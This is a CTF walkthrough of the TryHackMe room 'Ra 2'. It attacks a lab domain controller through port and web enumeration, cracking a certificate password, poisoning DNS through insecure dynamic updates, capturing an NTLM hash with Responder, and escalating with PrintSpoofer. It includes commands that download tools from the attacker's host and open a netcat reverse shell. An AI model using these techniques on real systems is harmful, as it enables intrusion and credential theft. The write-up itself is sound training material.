THM Writeup: Ra 2
In this article, I step through the process of exploiting a windows machine by enumerating services running on open ports, abusing insecure DNS dynamic updates, and elevating my privileges on the domain controller using PrintSpoofer exploit. This challenge is available on the TryHackMe platform and is titled “Ra 2”, created by the user “4ndr34z”.
Disclaimer
I like to add a brief disclaimer before a writeup to encourage people to attempt the room before reading this article, since there will obviously be spoilers in this writeup. I believe you will enjoy the challenge more if you attempt it yourself first and then come back to this writeup if you get stuck or need a hint. So without any further delay, lets get started!
Challenge Description
WindCorp recently had a security-breach. Since then they have hardened their infrastructure, learning from their mistakes. But maybe not enough? You have managed to enter their local network…
Port Enumeration
I started enumerating the target machine by performing a quick scan with NMAP to identify any open ports.
nmap -T5 --open -sS -vvv --min-rate=300 --max-retries=3 -p- -oN all-ports-nmap-report 10.10.207.234
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 125
88/tcp open kerberos-sec syn-ack ttl 125
135/tcp open msrpc syn-ack ttl 125
139/tcp open netbios-ssn syn-ack ttl 125
389/tcp open ldap syn-ack ttl 125
443/tcp open https syn-ack ttl 125
445/tcp open microsoft-ds syn-ack ttl 125
464/tcp open kpasswd5 syn-ack ttl 125
593/tcp open http-rpc-epmap syn-ack ttl 125
636/tcp open ldapssl syn-ack ttl 125
2179/tcp open vmrdp syn-ack ttl 125
3268/tcp open globalcatLDAP syn-ack ttl 125
3269/tcp open globalcatLDAPssl syn-ack ttl 125
5222/tcp open xmpp-client syn-ack ttl 125
5223/tcp open hpvirtgrp syn-ack ttl 125
5229/tcp open jaxflow syn-ack ttl 125
5262/tcp open unknown syn-ack ttl 125
5263/tcp open unknown syn-ack ttl 125
5269/tcp open xmpp-server syn-ack ttl 125
5270/tcp open xmp syn-ack ttl 125
5275/tcp open unknown syn-ack ttl 125
5276/tcp open unknown syn-ack ttl 125
7070/tcp open realserver syn-ack ttl 125
7443/tcp open oracleas-https syn-ack ttl 125
7777/tcp open cbt syn-ack ttl 125
9090/tcp open zeus-admin syn-ack ttl 125
9091/tcp open xmltec-xmlmail syn-ack ttl 125
9389/tcp open adws syn-ack ttl 125
49389/tcp open unknown syn-ack ttl 125
49666/tcp open unknown syn-ack ttl 125
49668/tcp open unknown syn-ack ttl 125
49669/tcp open unknown syn-ack ttl 125
49670/tcp open unknown syn-ack ttl 125
49673/tcp open unknown syn-ack ttl 125
49698/tcp open unknown syn-ack ttl 125
Reviewing the output, I can see that there are thirty-five ports open. I next used NMAP to identify the services running on each port and used the common NSE scripts to find any common vulnerabilities that I could exploit.
nmap -sV -sC -Pn -v -oN nmap-report -p 53,88,135,139,443,445,464,593,636,2179,3268,3269,5222,5223,5229,5262,5263,5269,5270,5275,5276,7070,7443,7777,9090,9091,9389,49389,49666,49668,49669,49670,49673,49698 10.10.164.198I can see a lot of output from NMAP and some interesting services that I can further enumerate.
DNS Enumeration
I can see that the domain being used is windcorp.thm based on the LDAP port information retrieved by NMAP.
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: windcorp.thm0., Site: Default-First-Site-Name)The first open port identified by NMAP is port 53 (i.e. DNS). Performing some basic enumeration using dig to list all “windcorp.thm” DNS records, gives me the first flag.
dig windcorp.thm any @10.10.172.217;; ANSWER SECTION:
windcorp.thm. 600 IN A 10.10.172.217
windcorp.thm. 3600 IN NS fire.windcorp.thm.
windcorp.thm. 3600 IN SOA fire.windcorp.thm. hostmaster.windcorp.thm. 295 900 600 86400 3600
windcorp.thm. 86400 IN TXT "THM{.......}"
The flag also provides a hint towards insecure dynamic DNS updates. Insecure dynamic DNS updates allows you to update DNS records without authentication. This is in contrast to secure dynamic DNS updates, where only the domain members can update their entries. This is achieved by using kerberos to authenticate the client towards the DNS-Server. This will be useful to know later on after some further enumeration (foreshadowing 😉).
Web Enumeration
Based on the output from NMAP, I can see that port 443 is open and is hosting a website.
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=fire.windcorp.thm
| Subject Alternative Name: DNS:fire.windcorp.thm, DNS:selfservice.windcorp.thm, DNS:selfservice.dev.windcorp.thm
| Issuer: commonName=fire.windcorp.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-05-29T03:31:08
| Not valid after: 2028-05-29T03:41:03
| MD5: 804b dc39 5ce5 dd7b 19a5 851c 01d1 23ad
|_SHA-1: 37f4 e667 cef7 5cc4 47c9 d201 25cf 2b7d 20b2 c1f4
|_ssl-date: 2022-04-15T13:35:16+00:00; -1s from scanner time.
| tls-alpn:
|_ http/1.1I can also see three hostnames called “fire.windcorp.thm” “selfservice.windcorp.thm” and “selfservice.dev.windcorp.thm”, which I added to my hosts file.
10.10.138.163 fire.windcorp.thm selfservice.windcorp.thm selfservice.dev.windcorp.thmI started by visiting the “fire.windcorp.thm” website. On the main page, I can see a message from the management team stating that they no longer use unsafe IM software, a reference to the first THM Ra machine. They also mention that they are using certificates everywhere.
I can also see a button that links to “selfservice.windcorp.thm”, which leads to a login popup.
Using Burpsuite, I can see that NTLM authorization is being used when users attempt to login through the portal but other than that, I see nothing else of interest.
I can see that there is a list of IT support staff on the main page. I can also see that the icons appear to change color, which may indicate when a user is active or not (i.e. green, amber, gray).
Viewing the page source for the main website, I can also see a list of potential user that exist on the target machine.
Moving further down the website, I can also see three additional employees.
Opening these employee images in a new tab provides more potential usernames.
https://fire.windcorp.thm/img/Emilieje.jpg
https://fire.windcorp.thm/img/lilyleAndSparky.jpg
https://fire.windcorp.thm/img/kirkug.jpgI continued my enumeration by performing a quick search for any hidden directories or webpages with FFuF tool.
ffuf -c -u https://fire.windcorp.thm/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.bak,.old -icimg [Status: 301, Size: 153, Words: 9, Lines: 2]
css [Status: 301, Size: 153, Words: 9, Lines: 2]
vendor [Status: 301, Size: 156, Words: 9, Lines: 2]
IMG [Status: 301, Size: 153, Words: 9, Lines: 2]
CSS [Status: 301, Size: 153, Words: 9, Lines: 2]
Img [Status: 301, Size: 153, Words: 9, Lines: 2]
powershell [Status: 302, Size: 165, Words: 6, Lines: 4]
I can see that there is a hidden Windows PowerShell Web Access page but I do not currently have any credentials to login.
Moving on, I started looking at “selfservice.dev.windcorp.thm”. Navigating to this address, I can see that the site is still under construction.
I performed another search for any hidden directories or webpages with FFuF tool.
ffuf -c -u https://selfservice.dev.windcorp.thm/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.bak,.oldaspnet_client [Status: 301, Size: 174, Words: 9, Lines: 2]
backup [Status: 301, Size: 167, Words: 9, Lines: 2]
index.html [Status: 200, Size: 106, Words: 3, Lines: 6]
I can see that there is a hidden folder called “backup” that is accessible. Inside, I can see two files called “cert.pfx” and “web.config”.
According to HackTricks:
The PKCS#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys.
I can use openssl to view the certificate details, but unfortunately, it is password protected.
$ openssl pkcs12 -info -in cert.pfx Enter Import Password:
MAC: sha256, Iteration 2000
MAC length: 32, salt length: 20
Mac verify error: invalid password?
I decided to see if there was a way to extract the information stored inside this certificate. I found a tool called crackpkcs12, which is a tool that can be used to crack PKCS#12 files passwords (extension .p12 or .pfx). I used this tool and the rockyou password list to perform a dictionary attack.
crackpkcs12 -d rockyou.txt cert.pfx
This works and I retrieved the password used when creating the cert, however, I’m not too sure what I can do with this yet. I decided to perform some more enumeration of the available services.
SMB Enumeration
I can see that ports 139 and 445 are open. I attempted to enumerate the shares using smbmap but unfortunately, anonymous login is not enabled, resulting in a dead end.
smbmap -H 10.10.138.163 -LKerberos Enumeration
The output from the NMAP scans shows that port 88 is open, with Kerberos running on it.
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-04-15 13:32:06Z)Using the list of user’s seen earlier while performing web enumeration, I decided to use kerbrute to enumerate valid active-directory users by abusing the Kerberos pre-authentication.
./kerbrute_linux_amd64 userenum --dc 10.10.172.217 -d windcorp.thm -o kerbrute-user-enum userlist[+] VALID USERNAME: organicfish718@windcorp.thm
[+] VALID USERNAME: Edeltraut@windcorp.thm
[+] VALID USERNAME: angrybird253@windcorp.thm
[+] VALID USERNAME: buse@windcorp.thm
[+] VALID USERNAME: Emile@windcorp.thm
[+] VALID USERNAME: tinygoose102@windcorp.thm
[+] VALID USERNAME: brownostrich284@windcorp.thm
[+] VALID USERNAME: sadswan869@windcorp.thm
[+] VALID USERNAME: goldencat416@windcorp.thm
[+] VALID USERNAME: whiteleopard529@windcorp.thm
[+] VALID USERNAME: orangegorilla428@windcorp.thm
[+] VALID USERNAME: happymeercat399@windcorp.thm
[+] VALID USERNAME: kirkug@windcorp.thm
[+] VALID USERNAME: emilieje@windcorp.thm
[+] VALID USERNAME: lilyle@windcorp.thmDone! Tested 48 usernames (15 valid) in 1.858 seconds
I was able to identify fifteen valid usernames. My next instinct was to perform ASREPRoasting with Impacket but unfortunately, none of the accounts were found to be ASReproastable, resulting in another dead end 😑.
sudo python3 GetNPUsers.py windcorp.thm/ -dc-ip 10.10.172.217 -usersfile kerberos-usernames -no-pass -request -outputfile kerberos-users-foundInsecure DNS Updates
After hitting dead ends with the rest of my enumeration, I decided to look back at the hint that was provided in the first flag again. Based on the information I have gathered so far, it appears that insecure DNS updates can be made. I can test this by attempting to add a TXT record without authenticating using nsupdate.
$ nsupdate> server 10.10.172.217
> update add test.windcorp.thm 5 TXT "This is a Test for Insecure DNS Update"
> send
Next, I can use nslookup to confirm that the TXT record has been added.
> server 10.10.172.217
Default server: 10.10.172.217
Address: 10.10.172.217#53
> set type=txt
> test.windcorp.thm
I can see that the TXT record has been successfully added! So now what? 😅
Initially, I wasn’t really sure what I was meant to do with this. I spent some time looking back at the information that I had gathered and started thinking of ways I could use it to gain an initial foothold. I created the following list:
- There is a self service login portal at “selfservice.windcorp.thm” that uses NTLM authorization.
- There appears to be active users logging in based on the icons changing colors.
- I found a certificate and cracked it’s password.
- I am able to manipulate DNS records without authentication.
- There is a PowerShell web access page but I have no credentials.
Seeing how the self service login portal uses NTLM authorization, I was thinking of how Responder could be used to intercept and capture that NTLM hash. If I could impersonate the “selfservice.windcorp.thm” domain by replacing the DNS record with my own record that points to my IP, then I might be able to capture an NTLM hash of a user logging in through the self service login portal.
DNS Cache Poisoning & Responder
Too achieve this, I can perform DNS cache poisoning.
DNS cache poisoning is the act of entering false information into a DNS cache, so that DNS queries return an incorrect response and users are directed to the wrong websites.
I started by first extracting the certificate and private key from the “cert.pfx” file using openssl and saving them to “/usr/share/responder/certs/”.
# Extract Cert
openssl pkcs12 -in cert.pfx -out selfservice.cert.pem -clcerts -nokeys# Extract Key
openssl pkcs12 -in cert.pfx -out selfservice.key.pem -nocerts -nodes
Next, I edited the Responder HTTPS server settings in “/etc/responder/Responder.conf”.
[HTTPS Server]; Configure SSL Certificates to use
SSLCert = /usr/share/responder/certs/selfservice.cert.pem
SSLKey = /usr/share/responder/certs/selfservice.key.pem
Now that responder’s HTTPS settings have been configured, I used nsupdate to remove the old A DNS record for “selfservice.windcorp.thm” and add a new A record which resolves to my attacking machines IP address.
nsupdate
> server 10.10.231.107
> update delete selfservice.windcorp.thm
> send
> update add selfservice.windcorp.thm 86400 A 10.*.*.*
> send
> quitFinally, I executed responder and waited for it to capture an NTLM hash.
python3 Responder.py -I tun0 -rdwv
After a few seconds, Responder captures an NTLMv2 hash for the user “edwardle” 😃! I can now use hashcat to crack the NTLMv2 hash.
hashcat64.exe -m 5600 hash.txt rockyou.txt
Using these credentials, I was able to login to the PowerShell web access page seen earlier. From here, I was able to enter commands and retrieve the second flag.
Privilege Escalation
Once I logged onto the machine, I performed some basic manual enumeration to identify a way to escalate my privileges.
whoami /all
I can see that the current user has the “SeImpersonatePrivilege”. According to HackTricks:
Any process holding this privilege can impersonate (but not create) any token for which it is able to gethandle. You can get a privileged token from a Windows service (DCOM) making it perform an NTLM authentication against the exploit, then execute a process as SYSTEM. Exploit it with juicy-potato, RogueWinRM (needs winrm disabled), SweetPotato, PrintSpoofer.
I decided to use the PrintSpoofer exploit. I uploaded the “PrintSpoofer.exe” and “nc.exe” executables using PowerShell.
# setup HTTP server on attacking machine where executables are stored.sudo python3 -m http.server 80# Use Powershell to upload the executables.Invoke-WebRequest -Uri http://10.*.*.*/PrintSpoofer.exe -Outfile printspoofer.exe
Invoke-WebRequest -Uri http://10.*.*.*/nc.exe -Outfile nc.exe
Next, I executed the “PrintSpoofer.exe” exploit with netcat to create an interactive shell.
nc -lvnp 4444
This gives me an elevated interactive shell from where I can get the final flag! 😄
Final Thoughts
I really enjoyed working through this room. It required a lot of enumeration and examining services like DNS, which you might normally overlook. The initial foothold was also quite interesting and required you to perform very thorough information gathering, so as to understand how exactly you could exploit insecure DNS dynamic updates. Thank you for reading till the end and keep hacking 😄!
